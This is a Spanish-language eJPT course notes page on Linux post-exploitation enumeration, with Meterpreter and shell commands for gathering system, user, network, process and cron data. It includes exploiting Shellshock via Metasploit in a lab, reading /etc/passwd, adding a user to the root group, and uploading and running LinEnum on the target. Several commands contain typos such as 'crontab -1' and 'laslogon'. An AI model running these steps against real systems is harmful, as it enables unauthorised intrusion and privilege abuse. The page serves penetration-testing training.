eJPT
  • 👋Welcome
  • Tools
    • 🔭Escaneo y Enumeración
  • SECTION 1: Assessment Methodologies
    • Assessment Methodologies: Information Gathering
      • Introducción a la Recopilación de Información
        • Start Quiz
      • Passive Information Gathering
      • Active Information Gathering
    • Assessment Methodologies: Footprinting & Scanning
      • Introduction
      • Networking Primer
      • Host Discovery
      • Port Scanning
      • Evasion, Scan Performance & Output
      • Page
      • Challenges
    • Assessment Methodologies: Enumeration
      • Overview
      • SMB Lesson
      • FTP Lesson
      • SSH Lesson
      • HTTP Lesson
      • SQL Lesson
    • Assessment Methodologies: Vulnerability Assessment
      • Vulnerability Assessment
      • Course Labs
  • SECTION 2: Host & Networking Auditing
    • Assessment Methodologies: Auditing Fundamentals
      • Assessment Methodologies
      • Practice
  • SECTION 3: Host & Network Penetration Testing
    • Host & Network Penetration Testing: System/Host Based Attacks
      • Introduction to Attacks
      • Windows Vulnerabilities
      • Exploiting Windows Vulnerabilities
      • Windows Privilege Escalation
      • Windows File System Vulnerabilities
      • Windows Credential Dumping
      • Linux Vulnerabilities
      • Exploiting Linux Vulnerabilities
      • Linux Privilege Escalation
      • Linux Credential Dumping
      • Conclusion
    • Host & Network Penetration Testing: Network-Based Attacks
      • Network-Based Attacks
    • Host & Network Penetration Testing: The Metasploit Framework (MSF)
      • Metasploit
        • Metasploit Fundamentals
      • Information Gathering & Enumeration
        • Nmap
        • Enumeration
      • Vulnerability Scanning
        • MSF
        • Nessus
        • Web Apps
      • Client-Side Attacks
        • Payloads
        • Automating
      • Exploitation
        • Windows Exploitation
        • Linux Exploitation
        • Post Exploitation Fundamentals
        • Windows Post Exploitation
        • Linux Post Exploitation
      • Armitage
        • Metasploit GUIs
    • Host & Network Penetration Testing: Exploitation
      • Introduction To Exploitation
      • Vulnerability Scanning Overview
      • Exploits
        • Searching For Exploits
        • Fixing Exploits
      • Shells
      • Frameworks
      • Windows
      • Linux
      • Obfuscation
    • Host & Network Penetration Testing: Post-Exploitation
      • Introduction
      • Windows Enumeration
      • Linux Enumeration
      • Transferring Files
      • Shells
      • Escalation
        • Windows Privilege Escalation
        • Linux Privilege Escalation
      • Persistence
        • Windows Persistence
        • Linux Persistence
      • Dumping & Cracking
        • Windows Password Hashes
        • Linux Password Hashes
      • Pivoting Lesson
      • Clearing
  • Host & Network Penetration Testing: Social Engineering
    • Social Engineering
  • SECTION 4: Web Application Penetration Testing
    • Introduction to the Web & HTTP Protocol
      • Web Applications
      • HTTP Protocol
        • HTTP/S Protocol Fundamentals
        • Website Crawling & Spidering
Powered by GitBook
On this page
  • Enumerating System Information
  • Demo: Enumerating System Information
  • Quiz: Enumerating System Information
  • Enumerating Users & Groups
  • Demo: Enumerating Users & Groups
  • Quiz: Enumerating Users & Groups
  • Enumerating Network Information
  • Demo: Enumerating Network Information
  • Quia: Enumerating Network Information
  • Enumerating Processes & Cron Jobs
  • Demo: Enumerating Processes & Cron Jobs
  • Quiz: Enumerating Processes & Cron Jobs
  • Automating Linux Local Enumeration
  • Linux Local Enum Scripts
  • Demo: Automating Linux Local Enumeration
  • Quiz: Automating Linux Local Enumeration
  1. SECTION 3: Host & Network Penetration Testing
  2. Host & Network Penetration Testing: Post-Exploitation

Linux Enumeration

Enumerating System Information

Después de obtener acceso inicial a un sistema de destino, siempre es importante obtener más información sobre el sistema, como qué sistema operativo se está ejecutando y la versión del sistema operativo. Esta información es muy útil, ya que nos da una idea de lo que podemos hacer y qué tipo de exploits podemos ejecutar.

¿Qué estamos buscando?

  • Hostname

  • Distribution & distribution release version

  • Kernel version & architecture

  • CPU information

  • Disk information & mounted drives

  • Installed packages/software

Demo: Enumerating System Information

# Despues de expllotar el sistema Linux y/o tener un acceso al sistema
# Se aconseja tener una sesion interactiva

meterpreter > sysinfo
# SO, version de kernel, arquitecturta, version de interprete

# Hostname
hostname

# Distribucion 
cat /etc/issue
cat /etc/*release

# Version de kernel
uname -a # tambien mostara la arquitectura
uname -r


# Variables del entorno
env

# Informacion de CPU
lscpu
# informacion modelo, hyperisor

# Informacion de la memeoria RAM
free -h

# Informacion del disco
df -h
df -ht ext4
# mostrar dispositivo d almacenamient
lsblk | grep sd


# Listar todos los paquetes instados con su version correspondeinte
dpkg -l

Quiz: Enumerating System Information

Enumerating Users & Groups

Después de obtener acceso inicial a un sistema de destino, siempre es importante obtener más información sobre el sistema, como por ejemplo, a qué cuenta de usuario tiene acceso y otras cuentas de usuario en el sistema.

What are we looking for?

  • Current user & privileges

  • Other users on the system

  • Groups

Demo: Enumerating Users & Groups

# Enumeracion de Usuario
meterpreter > getuid
# uid=0, significa que somos root

# Uusuario con el cual estoy logeado
whoami

# Los privilegios estan basados en grupo
groups root

# Listar usuarios del SO (todos)
cat /etc/passwd
# Las cuentas de usuario tienen /bin/bash al final de la linea
#  a diferencia de una cuenta de servicio
# Para excluri las cuentas de servicio
cat /etc/passwd | grep -v /nologin

# root: Nombre del usuario.
# x: Indicador de que la contraseña está almacenada en un archivo separado, típicamente /etc/shadow.
# 0: UID (User ID) del usuario, que es el identificador único del usuario en el sistema. En este caso, el UID 0 generalmente corresponde al superusuario o administrador del sistema.
# 0: GID (Group ID) del usuario. En este caso, el GID 0 corresponde al grupo de administración del sistema.
# root: Descripción del usuario o nombre completo. Esto suele ser el nombre completo del usuario o una descripción, en este caso simplemente es "root".
# /root: Directorio home del usuario. Este es el directorio personal del usuario root.
# /bin/bash: Shell predeterminado del usuario. Aquí, bash es el intérprete de comandos que se usará cuando el usuario inicie sesión.
root:x:0:0:root:/root:/bin/bash


# Crear usuario sin directorio en home
useradd bob -s /bin/bash
# Crear usuario con directorio en home
useradd -m john -s /bin/bash

# Enumerar grupos en los cuales esta un usuario
groups bob
# Agregar usuario a un grupo
usermod -aG root bob


# usuarios conectados
w
who

# ultims usuarios que ingresaron
last

# La ultima vez que los usuarios iniciaron sesion
laslogon

Quiz: Enumerating Users & Groups

Enumerating Network Information

¿Qué estamos buscando?

  • Dirección IP actual y adaptador de red

  • Redes internas

  • Servicios TCP/UDP en ejecución y sus respectivos puertos

  • Otros hosts en la red

Demo: Enumerating Network Information

# Enumeracion de IPs en las interfaces
meterpreter > ifconfig
ip a s

# Conexiones 
meterpreter > netstat

# Tabla de enrutamiento
meterpreter > route

# Lista de interfeaces
cat /etc/networks

# Hostname
cat /etc/host

# Configuracion de DNS
cat /etc/resolv. conf

# Tabla ARP para encontrar otros sistemas 
# Existe la posibilidad de necesitar un upgrade
arp -a



Quia: Enumerating Network Information

Enumerating Processes & Cron Jobs

Después de obtener acceso inicial a un sistema de destino, siempre es importante aprender más sobre el sistema, como qué procesos, servicios y tareas programadas se están ejecutando actualmente.

¿Qué estamos buscando?

  • Running services

  • Cron Jobs

Demo: Enumerating Processes & Cron Jobs

# Despues de la explotacion y la escalada de privilegios por metas ploit

# Enumerar procesos
meterpreter > ps
meterpreter > pgrep vsftpd

# abarir bash shell
meterpreter > shell

# Tambien se puede ejecutar desde metasploit
msf5 exploit(unix/ftp/vsftpd 234 backdoor) > ps
msf5 exploit(unix/ftp/vsftpd 234 backdoor) > ps aux
msf5 exploit(unix/ftp/vsftpd 234 backdoor) > ps aux | grep msfconsole

# Procesos asociados a un usuario en especifico
msf5 exploit(unix/ftp/vsftpd 234 backdoor) > ps aux | grep root


# Lista de procesos que se estan ejecutando
msf5 exploit(unix/ftp/vsftpd 234 backdoor) > top

# Tareas programadas en cron jobs
msf5 exploit(unix/ftp/vsftpd 234 backdoor) > crontab -1
msf5 exploit(unix/ftp/vsftpd 234 backdoor) > ls -al /etc/cron*
# Tareas configuradas
msf5 exploit(unix/ftp/vsftpd 234 backdoor) > cat /etc/cron*

Quiz: Enumerating Processes & Cron Jobs

Automating Linux Local Enumeration

Además de realizar la enumeración local de forma manual, también podemos automatizar el proceso con la ayuda de algunos scripts y módulos MSF.

Si bien es importante conocer las técnicas y los comandos de enumeración local, como evaluador de penetración, deberá ser eficiente en el uso del tiempo. Como resultado, deberá aprender a utilizar varios scripts de enumeración automatizados.

Además de automatizar el proceso de enumeración de información como información del sistema, usuarios y grupos, etc., estos scripts de enumeración automatizados también le brindarán información adicional sobre el sistema de destino como vulnerabilidades de escalada de privilegios, contraseñas almacenadas localmente, etc.

Linux Local Enum Scripts

LinEnum: LinEnum es un script bash simple que automatiza las verificaciones de enumeración locales comunes de Linux, ademas de identificar vulnerabilidades de escalada de privilegios.

Demo: Automating Linux Local Enumeration

# Buscar la vulnerabildiad shellshock
# Explotar la vulnerabilidad
msf5 exploit(mutti/http/apache_mod_cgi_ash_env_exec) > show options
msf5 exploit(mutti/http/apache_mod_cgi_ash_env_exec) > set RHOSTS 192.182.85.3
msf5 exploit(mutti/http/apache_mod_cgi_ash_env_exec) > set TARGETURI /gettime.cgi
msf5 exploit(mutti/http/apache_mod_cgi_ash_env_exec) > exploit


# Enumeracion de configuraciones por metasploit
msf5 exploit(mutti/http/apache_mod_cgi_ash_env_exec) > search enum configs
msf5 exploit(mutti/http/apache_mod_cgi_ash_env_exec) > use 0
msf5 post(tinux/gather/enum_configs) > show options
msf5 post(tinux/gather/enum_configs) > set SESSION 1
msf5 post(tinux/gather/enum_configs) > run
# Enuemrar los shell instalados, version del SO, etc

# Enumeracion de red por metasploit
msf5 post(linux/gather/enum_configs) > search enum_network
msf5 post(linux/gather/enum_configs) > use 0
msf5 post (Linux/gather/enum_network) > show options
msf5 post (Linux/gather/enum_network) > set SESSION 1
msf5 post (Linux/gather/enum_network) > run
# Enumera las Interfaces, puertos, rutas etc.

# Enumeracion del sistema y del usuario usando metasploit
msf5 post (Linux/gather/enum_network) > search enum_system
msf5 post (Linux/gather/enum_network) > use 0
msf5 post (Linux/gather/enum_system) > set SESSION 1
msf5 post (Linux/gather/enum_system) > run
# Enumeracion de version linux, usuarios, paquetes instalados, cron jobs, etc


# Enumeracion para confirmar si es una maquina Virtual
msf5 post (Linux/gather/enum_system) > search checkvm
msf5 post (Linux/gather/enum_system) > use 0
msf5 post (Linux/gather/checkvm) > set SESSION 0
msf5 post (Linux/gather/checkvm) > run


# Enumeracion por SCRIPT
# Enviar el archivo LinEnum al objetivo
meterpreter > pwd
/opt/apache/htdocs
meterpreter > cd /tmp
meterpreter > ls
# Descargar el *.sh
https://github.com/rebootuser/LinEnum
# Transferir el archivo
meterpreter > upload /root/Desktop/LinEnum.sh
# Ingresar por shell
meterpreter > shell
/bin/bash -i
chmod +x LinEnum.sh
./LinEnum.sh
# Revisar detenidamente todos los archivos

Quiz: Automating Linux Local Enumeration

PreviousWindows EnumerationNextTransferring Files

Last updated 8 months ago

GitHub - rebootuser/LinEnum: Scripted Local Linux Enumeration & Privilege Escalation ChecksGitHub
Logo